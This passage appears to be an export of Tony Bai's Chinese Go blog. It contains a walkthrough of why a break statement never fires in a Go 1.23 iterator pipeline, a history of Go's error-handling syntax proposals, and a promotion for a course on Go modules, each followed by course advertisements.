字段是一个封装了过滤逻辑的函数。 继续调用新Sequence对象的.Map(…) 方法，并再次返回一个全新的 Sequence 对象，其内部的 seq 字段是一个封装了map逻辑的函数。 最终的 it.Range() 方法，正是返回了这个由 .Map(…) 创建的、位于调用链最外层的 iter.Seq[int] 函数。 所以，整个 for range 循环在解糖后，等价于：\n// it.Range() 返回的是由 Map 方法创建的那个 iter.Seq[int] 函数， // 我们称之为 mapIterator，因为它位于管道的最末端。 mapIterator := it.Range() // 整个 for 循环的本质，就是对这个最外层迭代器的一次函数调用， // 并将我们的循环体作为回调（yield 函数）传进去。 mapIterator(loopBodyYield) 至此，我们得到了第一条关键线索：for range 循环，本质上就是调用了迭代器管道最终返回的那个 iter.Seq[int] 函数，并将循环体本身作为回调（yield 函数）传递了进去。break 的作用，就是让这个回调函数在某个特定时刻返回 false。\n然而，一个新的谜团浮现了：这个 mapIterator 又是如何从 Filter 迭代器获取数据的？Filter 迭代器又是如何从最原始的 sl 切片获取数据的？这个 break 信号（return false）又是如何在这条由内到外的调用链中传播的？\n要回答这些问题，我们就必须解构整个迭代器的调用链。这正是我们下一小节要做的。\n解构调用链：for range 背后的函数调用接力 上一节我们揭示了 for range 的秘密：它最终变成了对最外层迭代器的一次函数调用，并将循环体封装成了一个 yield 函数。现在，我们的侦探工作进入了核心环节：这个调用是如何层层深入，并最终从原始数据源拉取数据的？\n要理解这一点，我们需严格依据 Filter 和 Map 的源码，来追踪这个调用链。这里不存在“魔法”，只有编译器为我们精心安排的一场函数调用接力赛。\n我们的代码是 it := From(slices.Values(sl)).Filter(IsEven).Map(Add100)。\n在概念上，这等价于函数组合 Map(Filter(Values(sl)))。\n最下游：是 for range 循环体，它将被转换为 loopBodyYield。 中间环节：是 Map 迭代器，它包裹了 Filter 迭代器。 最上游：是 slices.Values(sl)，即原始数据源。 调用链的构建：一场由 for range 解糖驱动的接力 当 for v := range it.Range() 启动时，一场精巧的函数调用接力开始了：\n第一棒：for range 调用 Map 迭代器 正如上一节所分析，整个循环被解糖为对最外层迭代器 mapIterator 的一次调用：\nmapIterator(loopBodyYield) loopBodyYield 是我们包含了 if v == 67 { break } 逻辑的、由编译器生成的第一个 yield 函数。\n第二棒：Map 迭代器调用 Filter 迭代器 现在，执行进入了 Map 迭代器的函数体：\nfunc Map(seq iter.Seq[int], f func(int) int) iter.Seq[int] { return func(yield func(int) bool) { // 此时的 yield 参数就是 loopBodyYield // 关键在这里！这个 for range 也会被解糖。 for v := range seq { // seq 是上游的 filterIterator // 这个循环体，将成为传给 filterIterator 的新 yield 函数的主体。 if !yield(f(v)) { // 注意：这里的 yield 是 mapIterator 的参数，即 loopBodyYield return } } } } for v := range seq 这行代码本身，也是一次 for range over a function。编译器会再次进行解糖，它会：\n提取循环体 if !yield(f(v)) { return }。 将其封装成一个新的匿名 yield 函数，我们称之为 mapInternalYield。 调用 seq（也就是 filterIterator），并传入 mapInternalYield。 所以，Map 迭代器内部的 for 循环，等价于：\n// 由编译器为 Map 内部的 for range 生成的 yield 函数 mapInternalYield := func(v_from_filter int) bool { v_to_loop_body := Add100(v_from_filter) if !loopBodyYield(v_to_loop_body) { return false // 将“停止”信号向上传播 } return true // 告诉上游“请继续” } // 实际的调用 filterIterator(mapInternalYield) Map 迭代器成功地将“接力棒”传给了 Filter 迭代器。这个新的“接力棒”（mapInternalYield）已经包含了 Add100 的逻辑。\n第三棒：Filter 迭代器调用 Values 迭代器 现在，执行进入了 Filter 迭代器的函数体。同样的故事再次上演：\nfunc Filter(seq iter.Seq[int], f func(int) bool) iter.Seq[int] { return func(yield func(int) bool) { // 此时的 yield 参数就是 mapInternalYield for v := range seq { // seq 是上游的 valuesIterator if f(v) \u0026amp;\u0026amp; !yield(v) { // 这里的 yield 是 filterIterator 的参数，即 mapInternalYield return } } } } Filter 内部的 for 循环同样被解糖，生成一个 filterInternalYield，并调用 valuesIterator：\n// 由编译器为 Filter 内部的 for range 生成的 yield 函数 filterInternalYield := func(v_from_values int) bool { if IsEven(v_from_values) { if !mapInternalYield(v_from_values) { // 调用下游传来的 yield return false // 传播“停止”信号 } } return true // 告诉上游“请继续” } // 实际的调用 valuesIterator(filterInternalYield) 接力棒再次成功传递！\n第四棒：Values 迭代器开始执行 valuesIterator 是数据源头，它接收到了 filterInternalYield。它的实现最简单，没有内部的 for range解糖：\nfunc Values(sl []int) iter.Seq[int] { return func(yield func(int) bool) { // 此时的 yield 参数就是 filterInternalYield for _, v := range sl { // sl是切片，不再需要“解糖” if !yield(v) { // 直接调用下游传来的 yield return } } } } 它开始遍历原始切片 sl，并将每个元素“推”入 filterInternalYield。\n调用链全景图 至此，一个由 for range 解糖机制驱动的、精巧的函数调用接力赛就形成了。数据从最上游的 Values 被“推”出，经过 Filter 的筛选、Map 的转换，最终到达最下游的 loopBodyYield。而 break 信号则会从 loopBodyYield 开始，以 return false 的形式，沿着这条调用链反向传播，最终终止整个数据流。\n现在，我们已经彻底解构了迭代器的工作机制。下一步，就是将真实的数据放入这个“管道”，看看“案发”过程究竟是如何发生的。\n真相大白：追踪数据流，还原“案发”过程 现在，我们已经彻底解构了迭代器的函数调用链。让我们扮演一次调试器，带着具体的数据，一步步追踪这场“接力赛”，看看 67 这个关键值到底发生了什么。\n初始状态:\n原始数据: sl := []int{12, 13, 14, 5, 67, 82} 最下游的回调: loopBodyYield，它在 v == 67 时会 return false。 比赛开始：valuesIterator 开始推送数据\n第一圈: v = 12 valuesIterator: 从 sl 中取出 12，调用 filterInternalYield(12)。\nfilterInternalYield(12): * IsEven(12) 为 true，条件满足。 * 接着调用 mapInternalYield(12)。\nmapInternalYield(12): * 计算 Add100(12)，得到 112。 * 调用 loopBodyYield(112)。\nloopBodyYield(112): * 112 != 67，条件不满足。 * 执行 fmt.Println(112)，控制台输出：112。 * 返回 true（“请继续”）。\n这个 true 信号逐层返回：mapInternalYield 返回 true -\u0026gt; filterInternalYield 返回 true -\u0026gt; valuesIterator 的 if 判断不成立，继续下一次循环。\n第二圈: v = 13 valuesIterator: 从 sl 中取出 13，调用 filterInternalYield(13)。\nfilterInternalYield(13): * IsEven(13) 为 false，if 条件不满足。 * 直接返回 true（“请继续”）。\nvaluesIterator 接收到 true，继续下一次循环。值 13 被成功过滤，没有进入下游。\n第三圈: v = 14 valuesIterator: 从 sl 中取出 14，调用 filterInternalYield(14)。\nfilterInternalYield(14): * IsEven(14) 为 true。 * 调用 mapInternalYield(14)。\nmapInternalYield(14): * 计算 Add100(14)，得到 114。 * 调用 loopBodyYield(114)。\nloopBodyYield(114): * 114 != 67，条件不满足。 * 执行 fmt.Println(114)，控制台输出：114。 * 返回 true（“请继续”）。\n信号 true 再次逐层返回，valuesIterator 继续。\n第四圈: v = 5 valuesIterator: 从 sl 中取出 5，调用 filterInternalYield(5)。\nfilterInternalYield(5): * IsEven(5) 为 false。 * 直接返回 true。\nvaluesIterator 继续。\n第五圈: v = 67 – 谜底揭晓！ valuesIterator: 从 sl 中取出 67，调用 filterInternalYield(67)。 filterInternalYield(67): * IsEven(67) 为 false，if 条件不满足。 * 直接返回 true。 这就是“案发”的关键时刻！\n67 这个值，在 Filter 阶段就已经被过滤掉了！它根本没有机会被传递给 mapInternalYield，更不可能到达最终的 loopBodyYield。因此，if v == 67 这个位于循环体的判断条件，永远没有机会接触到值为 67 的数据，break 语句也因此永远不会被执行。\n第六圈: v = 82 valuesIterator: 从 sl 中取出 82，调用 filterInternalYield(82)。\nfilterInternalYield(82): * IsEven(82) 为 true。 * 调用 mapInternalYield(82)。\nmapInternalYield(82): * 计算 Add100(82)，得到 182。 * 调用 loopBodyYield(182)。\nloopBodyYield(182): * 182 != 67，条件不满足。 * 执行 fmt.Println(182)，控制台输出：182。 * 返回 true（“请继续”）。\nvaluesIterator 继续。\n比赛结束：valuesIterator 遍历完所有 sl 中的元素，循环正常结束。\n最终输出:\n112 114 182 追踪结果与实际输出完全吻合。break 并没有“失效”，它只是在等待一个永远不会到来的值。\n在Fiter、Map以及主循环体加上一些输出语句，也能证明这个执行次序：\n// Filter 方法 func (s Sequence[T]) Filter(f func(T) bool) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { fmt.Println(\u0026#34;#filter:\u0026#34;, v) if f(v) \u0026amp;\u0026amp; !yield(v) { return } } }, } } // Map 方法 func (s Sequence[T]) Map(f func(T) T) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { fmt.Println(\u0026#34; #map:\u0026#34;, v) if !yield(f(v)) { return } } }, } } func main() { sl := []int{12, 13, 14, 5, 67, 82} // 构建一个迭代器管道： // 1. 从切片 sl 创建一个序列 // 2. 过滤出所有偶数 (IsEven) // 3. 将每个偶数加上 100 (Add100) it := From(slices.Values(sl)).Filter(IsEven).Map(Add100) for v := range it.Range() { // 循环体 fmt.Println(\u0026#34; # enter main loop: \u0026#34;, v) if v == 67 { break } fmt.Println() } } 输出结果如下：\n#filter: 12 #map: 12 # enter main loop: 112 #filter: 13 #filter: 14 #map: 14 # enter main loop: 114 #filter: 5 #filter: 67 #filter: 82 #map: 82 # enter main loop: 182 小结 至此，那个看似“不听话”的 break 的谜底，已经完全揭晓。\nbreak 并没有“失效”，它忠实地履行着自己的职责。问题在于，它在管道的“终点”站岗，等待着一个永远不会到来的值——67。而这个值，早已在管道的“过程”中（Filter 阶段），就被悄无声息地“请”出了赛道。\n这次“破案”之旅，为我们揭示了 Go 1.23+ 函数迭代器背后深刻的运行机制，也为我们带来了几个至关重要的心智模型转变：\nfor range 的循环体，只关心“最终产物”：无论你的迭代器管道有多么复杂，for 循环体中的 if、break、continue 等控制语句，永远只作用于从管道最末端流出的、经过层层处理后的最终值。\n迭代器组合是一场“函数调用接力赛”：优雅的链式调用背后，是编译器为我们精心安排的一场回调函数接力。for range 循环体是这场接力的第一棒，它被层层向上传递，每一层迭代器都可能对其进行包装，但最终的控制权（通过 return false）始终源于最下游的循环体。\n调试迭代器，就是调试数据流：当遇到意外行为时，我们不能再孤立地看待循环体，而必须将整个迭代器管道视为一个完整的数据处理系统，从数据源头开始，逐一审视数据在每一站的“命运”。\n这个由学员提出的精彩问题，诠释了“魔鬼在细节中”这句格言。它告诉我们，要真正驾驭 Go 语言带来的新特性，我们不仅要学会使用其优雅的 API，更要深入其内部，理解其运行的“第一性原理”。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/why-break-in-go-function-iterators-does-not-work-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work\"\u003ehttps://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在我的极客时间专栏《\u003ca href=\"http://gk.link/a/12yGY\"\u003eTony Bai·Go语言进阶课\u003c/a\u003e》的\u003ca href=\"https://time.geekbang.org/column/article/880406\"\u003e关于 Go 1.23+ 函数迭代器的第9讲中\u003c/a\u003e，我介绍了一种非常强大的高级用法——\u003cstrong\u003e迭代器组合 (Iterator Composition)\u003c/strong\u003e。通过像 Filter 和 Map 这样的高阶函数，我们可以用一种相对优雅、富有表现力的方式，构建复杂的数据处理管道。\u003c/p\u003e","title":"解构Go函数迭代器——为什么 break 没有按预期工作？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/28/go-archaeology-error-handling\n大家好，我是Tony Bai。\nif err != nil，这可能是 Go 语言中最具辨识度，也最富争议性的代码片段。它如同一块磐石，奠定了 Go 错误处理哲学的基石，但也因其“繁琐”而常年位居 Go 开发者年度调查“最不满意特性”榜首。\n许多新入门的 Gopher 可能会感到困惑：Go 团队为何如此“固执”，十余年来始终拒绝为这个明显的痛点，提供一个类似 try-catch 或 Rust ? 运算符的“语法糖”？\n事实上，这并非因为 Go 团队的傲慢或忽视。Go 的设计，是在一场关于“异常 (Exceptions) vs. 返回码 (Status Returns)”的世纪之辩的硝烟中诞生的。而 Go 语言的历史，就是一部试图为“返回码”的繁琐寻找“语法糖”，却屡战屡败，并最终选择坚守初心的历史。\n本文，就让我们扮演一次“Go 考古学家”，深入挖掘历史的尘埃，回顾这场旷日持久的“语法糖之战”，并揭示 Go 团队为何在 2025 年，最终选择向“现状投降”。\n历史的十字路口 —— 返回码的“五宗罪”与异常的“原罪” 要理解 Go 的选择，我们必须回到 Go 诞生之前，重温那场关于错误处理的根本性辩论。一篇由 Ned Batchelder 在 2003 年撰写的经典文章《Exceptions vs. status returns》，完美地总结了这场辩论。\n返回码的“五宗罪” 文章雄辩地论证了 C++ 风格的返回码（Go 中 error 的前身）存在种种弊端。\n罪状一：代码混淆 返回码最大的问题，就是它用大量的错误检查代码，污染了正常的业务逻辑。\nC++ (返回码风格)： cpp STATUS st = DoThing1(a); if (st != S_OK) return st; st = DoThing2(b); if (st != S_OK) return st; C++ (异常风格)： cpp DoThing1(a); DoThing2(b); 异常机制通过“隐式”地向上传播错误，让“快乐路径”的代码保持了极度的纯粹和整洁。\n罪状二：侵占宝贵的返回通道 返回码模式“霸占”了函数的返回值通道，使得函数无法自然地返回其计算结果。这常常导致各种奇怪的约定，如“失败时返回 NULL”或“失败时返回 -1”，增加了认知负担。\n罪状三：贫乏的错误信息 一个整数返回码，只能告诉你“出错了”，却无法告诉你为什么出错、在哪里出错。虽然可以通过其他全局变量（如 errno）来传递额外信息，但这既笨拙又不安全。\n罪状四：无法在构造函数等隐式代码中使用 在 C++ 中，构造函数和析构函数没有返回值，因此无法使用返回码模式。\n罪状五：容易被忽略（过失犯罪） 当开发者忘记检查一个返回码时，错误就会被无声地忽略，程序会带着错误的状态继续运行，最终在未来的某个时刻，以一种极其诡异的方式崩溃，让调试成为噩梦。\n异常的“原罪” 与此同时，异常机制也并非银弹。文章也引用了Joel Spolsky 等人对异常机制提出的批评，同样振聋发聩：\n原罪一：隐形的 goto 异常，本质上是一种“超级 goto”。它在你代码的任何地方，都可能引入一个不可见的、非线性的控制流跳转。\n“看着一段代码，你根本无法知道它会从哪里、以何种方式突然跳出去。” —— Joel Spolsky\n这种不确定性，极大地增加了代码推理的难度。为了编写出真正健壮的异常处理代码，你必须像一个偏执狂一样，思考每一次函数调用背后，所有可能抛出的异常，以及它们对当前函数状态的影响。\n原罪二：过多的出口 每一个可能抛出异常的函数调用，都为你的函数增加了一个隐式的“出口”。这使得资源管理（如文件句柄、网络连接、锁）变得极其复杂。虽然 defer / finally / RAII 等机制可以缓解这个问题，但它无法消除其固有的复杂性。\nGo 的“初始选择” —— 带着镣铐的舞蹈 Go 的设计者们，正是在这场辩论的硝烟中，做出了他们的“初始”决策。他们深刻地洞察到：由返回码带来的**“显式的代码复杂性”，其代价是明确的、局部的、可控的**；而由异常带来的**“隐式的认知复杂性”，其代价是模糊的、全局的、难以推理的**。\n在“代码的整洁度”和“控制流的明确性”之间，Go 毫不犹豫地选择了后者。\n同时，Go 语言通过一系列天才般的设计，精准地“反驳”了返回码的“五宗罪”：\n多返回值：解决了“侵占返回通道”的问题，让错误和结果可以并行传输。 value, err := DoSomething() if err != nil { // handle error } // use value 这个看似简单的语言特性，却是一次天才般的设计。它让错误和结果可以并行传输，互不干扰，完美地保留了函数返回值的表达能力。\nerror 接口：解决了“信息贫乏”的问题，让错误可以携带任意丰富的上下文。 Go 将错误定义为一个接口 error，而不仅仅是一个整数。\ntype error interface { Error() string } 这意味着，任何实现了 Error() 方法的类型，都可以是一个错误。这赋予了 Go 错误无限的表达能力。我们可以创建自定义的错误类型，携带丰富的上下文信息，如堆栈跟踪、请求 ID、文件名等等。\n工厂模式 (New…)：通过移除构造函数，解决了“适用性受限”的问题。 Go 从语言层面移除了构造函数和析构函数，代之以普通的工厂函数 (New…)。这种设计，不仅简化了语言，也使得错误处理可以在对象的创建过程中，以一种自然、统一的方式进行。\n静态分析工具 (go vet)：通过工具链，解决了“易被忽略”的问题。 Go 社区通过强大的静态分析工具（如 go vet 和 staticcheck）来对抗这种“过失犯罪”。这些工具能自动检测出被忽略的 error 返回值，并在 CI/CD 流程中强制开发者修正它们。\n只剩下最后一项“原罪”——代码混淆——被 Go “坦然地接受”了。if err != nil，就是 Go 为了换取控制流的绝对清晰性，而选择戴上的“镣铐”。\n奠基 —— “错误即是值” 这副“镣铐”虽然沉重，但 Go 的设计者们认为，开发者不应只是被动地忍受它。Rob Pike 2015 年的著名博文《Errors are values》，正是这份“戴着镣铐跳舞”的宣言。\n文章的核心观点是：既然错误是值，那么我们就可以像对待任何其他值一样，对它们进行编程。\n考古发现一：bufio.Scanner 的优雅 Pike 举了 bufio.Scanner 的例子。它的 Scan() 方法并不返回 error，而是返回一个 bool。所有的错误都被内部“暂存”起来，直到整个迭代结束后，才通过一个单独的 Err() 方法一次性检查。\nscanner := bufio.NewScanner(input) for scanner.Scan() { token := scanner.Text() // ... process token } if err := scanner.Err(); err != nil { // process the error } 这种将“迭代逻辑”与“错误处理”分离的设计，极大地提升了代码的清晰度。\n考古发现二：errWriter 的封装 Pike 还分享了他为日本 Gopher @jxck_ 现场编写的一个 errWriter 结构体，用以解决重复的 Write 调用和错误检查：\ntype errWriter struct { w io.Writer err error } func (ew *errWriter) write(buf []byte) { if ew.err != nil { return // 一旦出错，后续操作都变成 no-op } _, ew.err = ew.w.Write(buf) } // 使用方式 ew := \u0026amp;errWriter{w: fd} ew.write(p0[a:b]) ew.write(p1[c:d]) // ... if ew.err != nil { return ew.err } 这篇文章为 Go 的错误处理定下了基调——不要总想着向语言索要语法糖，而要学会利用语言现有的能力，通过编程模式来优雅地处理错误。\n旷日持久的“语法糖之战” 尽管“错误即是值”的哲学深入人心，但“样板代码”的抱怨声从未停止。Go 团队也并非铁板一块，他们曾多次发起“冲锋”，试图卸下这副“镣铐”。\nGo 2 的 check/handle (2018)：一个功能全面但被认为过于复杂的方案，最终被放弃。 go // check/handle 版本的 printSum func printSum(a, b string) error { handle err { return err } // 定义当前函数的错误处理器 x := check strconv.Atoi(a) // 如果 Atoi 返回错误，check 会将错误传递给 handle y := check strconv.Atoi(b) fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 臭名昭著的 try 提案 (2019)：一个极其简化的方案，但因其隐藏了 return，被社区猛烈抨击为“隐形 goto”，最终也被放弃。 go // try 版本的 printSum func printSum(a, b string) error { x := try(strconv.Atoi(a)) // 如果 Atoi 返回错误，try 会立即从 printSum 返回该错误 y := try(strconv.Atoi(b)) fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 最后的“诺曼底登陆” —— Ian Taylor 的 ? 尝试 (2024)：借鉴了 Rust 的成功经验，但依然未能获得社区的广泛共识。 go // ? 版本的 printSum func printSum(a, b string) error { x := strconv.Atoi(a) ? y := strconv.Atoi(b) ? fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 宣布“停战” —— 2025 年的最终决定 在经历了三次大规模的“战争”，以及社区提交的数百个形形色色的提案之后，Go 团队终于在 2025 年，通过一篇官方博文，为这场旷日持久的“语法糖之战”画上了一个句号。\n文章的结论，可以概括为一句无奈但充满智慧的“投降”：\n在可预见的未来，Go 团队将停止为错误处理寻求任何语法上的语言变更。\n其背后的原因，是 Go 团队在多年探索后得出的深刻反思：\n没有共识：没有任何一个提案，能够获得社区压倒性的支持。强行推行任何一个，都只会制造新的分裂。 现状“足够好”：Go 现有的错误处理方式，虽然繁繁，但行之有效。随着开发者对“错误即是值”的哲学理解加深，以及 errors.Is/As、cmp.Or 等库函数的增强，这种繁琐在很多时候是可以被接受或通过编程模式缓解的。 显式的好处：if err != nil 的显式性，在代码阅读和调试时（例如，设置断点、打印日志）具有不可替代的好处。 成本巨大：任何语言的语法变更，其带来的生态系统（工具、文档、教程、现有代码）的迁移成本都是巨大的。在没有明确、压倒性收益的情况下，这种成本难以被证明是合理的。 小结 Go 的“考古”之旅，让我们看到了一部关于工程权衡的生动历史。Go 语言之所以成为今天的 Go，不仅仅在于它拥有什么，更在于它在经历了反复的、痛苦的斗争后，选择放弃了什么。\n这场围绕错误处理的“语法糖之战”，最终没有赢家。但 Go 社区，以及 Go 语言本身，却通过这场战争，更加深刻地理解并巩固了其设计的核心——清晰性与简单性，有时比一时的便利更重要。 if err != nil 的样板代码，或许就是我们为这份哲学所付出的、值得付出的代价。\n参考资料 https://go.dev/blog/error-handling-and-go https://go.dev/blog/errors-are-values https://go.dev/blog/error-syntax https://nedbatchelder.com/text/exceptions-vs-status.html 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/28/go-archaeology-error-handling/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-archaeology-error-handling-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/28/go-archaeology-error-handling\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/28/go-archaeology-error-handling\"\u003ehttps://tonybai.com/2025/10/28/go-archaeology-error-handling\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eif err != nil，这可能是 Go 语言中最具辨识度，也最富争议性的代码片段。它如同一块磐石，奠定了 Go 错误处理哲学的基石，但也因其“繁琐”而常年位居 Go 开发者年度调查“最不满意特性”榜首。\u003c/p\u003e","title":"Go 考古：错误处理的“语法糖”之战与最终的“投降”"},{"content":"Go 模块构建与依赖管理：我们到底在“折腾”什么？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 模块构建与依赖管理：我们到底在“折腾”什么？ 十月 27, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/27/the-ultimate-guide-to-go-module\n大家好，我是Tony Bai。\n我想问大家一个问题：在你日常的 Go 开发中，有没有哪个瞬间，让你觉得明明是在做一件简单的事，却被工具链“折腾”得心力交瘁？\n或许是那个深夜，CI/CD 系统一片爆红，只因为一位同事提交代码时，忘记删掉了 go.mod 文件里那行指向他本地路径的 replace 指令。\n或许是你刚接手一个老项目，面对 GOPATH 和 vendor 的“历史遗迹”，想升级一个包却发现牵一发而动全身，最后只能无奈放弃。\n又或许，你只是想在公司内网拉取一个私有库，却被 GOPROXY、GOPRIVATE、GONOSUMDB 这“三兄弟”搞得晕头转向，在 404 和 410 的报错中反复挣扎。\n如果这些场景让你会心一笑（或者苦笑），那么，欢迎来到我们的世界。\nGo 模块的构建与依赖管理，就像我们呼吸的空气。 它无处不在，支撑着我们所有的Go开发活动。但正因为它如此基础，我们常常满足于“能用就行”，而忽略了其背后深刻的设计哲学和强大的工程能力。直到有一天，我们被一个棘手的构建问题拦住去路，才发现自己对这套最熟悉的工具，其实知之甚少。\n为什么我要写这个微专栏？ 市面上关于 Go Modules 的文章很多，但大多是“点状”的：教你一个命令，解决一个问题。但我发现，很少有内容能系统性地回答那几个更深层次的“为什么”：\nGo 为什么会放弃 GOPATH，经历 vendor、dep 的探索，最终选择了 Go Modules 这条路？这背后是怎样的历史和权衡？ 最小版本选择（MVS）算法到底是什么？它和 npm/pip 的逻辑有何本质不同，为什么说它带来了“高保真”的可重现的构建？ go.mod 里的 go 1.21 和 toolchain go1.22.0 到底是什么关系？它们是如何维系 Go 强大的兼容性承诺的？ GOPROXY 背后那套简单的 HTTP 协议是什么样的？理解了它，我们就能自己动手模拟一次 go get 的全过程。 像Kubernetes这样的大型Go项目是如何进行Go module依赖管理和构建的？有什么值得我们借鉴的地方？ 这些问题，才是我认为真正能让我们“从入门到精通”的关键。\n在这个专栏里，你将得到什么？ 为此，我花了数月时间，整理、实践、并最终策划了这门**《Go 模块构建与依赖管理: 从入门到精通》**的微专栏。\n这是一份写给所有 Gopher 的Go构建体系“圣经”，旨在帮助大家彻底搞懂 Go 的“包”罗万象 。我们将：\n从历史的源头出发，回顾 Go 依赖管理的演进史，建立完整的认知。 深入核心原理，彻底搞懂go.mod、MVS、go.sum 和兼容性机制。 精通所有工具，从 go get、go mod tidy 到 replace、exclude，再到 本地多模块开发 神器 go.work。 覆盖作者和使用者双工作流，从模块作者的创建与发布(v1)、发布补丁/次要版本、发布主版本（v2+)，到模块使用者的依赖添加与升级、降级与移除。 驾驭复杂场景，无论是私有仓库、带有cgo/asm的混合构建，还是将 Go 编译成静态库、动态库或Plugin插件。 解剖顶级案例，看看 Kubernetes 这种巨型项目，是如何管理其“天文数字”般的依赖的。 终结所有“天坑”，我会把我踩过的所有坑、总结的所有排错技巧，毫无保留地分享给你。 以下是本专栏的完整大纲（共 13 讲）：\n模块一：历史与原理 (建立认知)\n前世今生：从 GOPATH 的“混乱”到 Go Modules 的“秩序” Go Modules 核心原理：go.mod, go.sum 与最小版本选择 (MVS) 兼容性的承诺：深入 go 与 toolchain 指令 模块二：工作流与高级操作 (精通工具)\n日常操作精通：get, tidy, list 三剑客 模块的生命周期：作者与使用者的工作流 依赖关系“手术刀”：replace, exclude 与 retract 告别 replace 泥潭：go.work 与多模块开发 模块三：企业级与复杂场景 (驾驭复杂)\n深入 Go Module Proxy 协议 企业级实践：私有仓库与私有 Proxy 跨越边界：cgo 与 asm 的构建之道 构建模式的魔力: 从静态库、动态库到 Go 插件 模块四：案例与排错 (升华与实战)\n实战解剖：Kubernetes 是如何管理上千个依赖的？ 终章：常见构建“天坑”与终极排错指南 小结 我相信，这是全网第一份如此系统、全面、深入 Go 构建与依赖管理体系的中文资料。\n如果你也曾被这些问题“折腾”过，如果你也渴望一次性地、系统性地掌握这门 Gopher 的“必修内功”，那么，我诚挚地邀请你加入这场学习之旅。\n让我们一起，告别“知其然”，真正做到“知其所以然”，彻底搞懂 Go 的模块构建与依赖管理。\n点击阅读全文/扫描下方二维码，立即订阅《Go 模块构建与依赖管理: 从入门到精通》，开启你的全面且有深度的探索之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/27/the-ultimate-guide-to-go-module/","summary":"\u003ch1 id=\"go-模块构建与依赖管理我们到底在折腾什么---tony-bai\"\u003eGo 模块构建与依赖管理：我们到底在“折腾”什么？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle 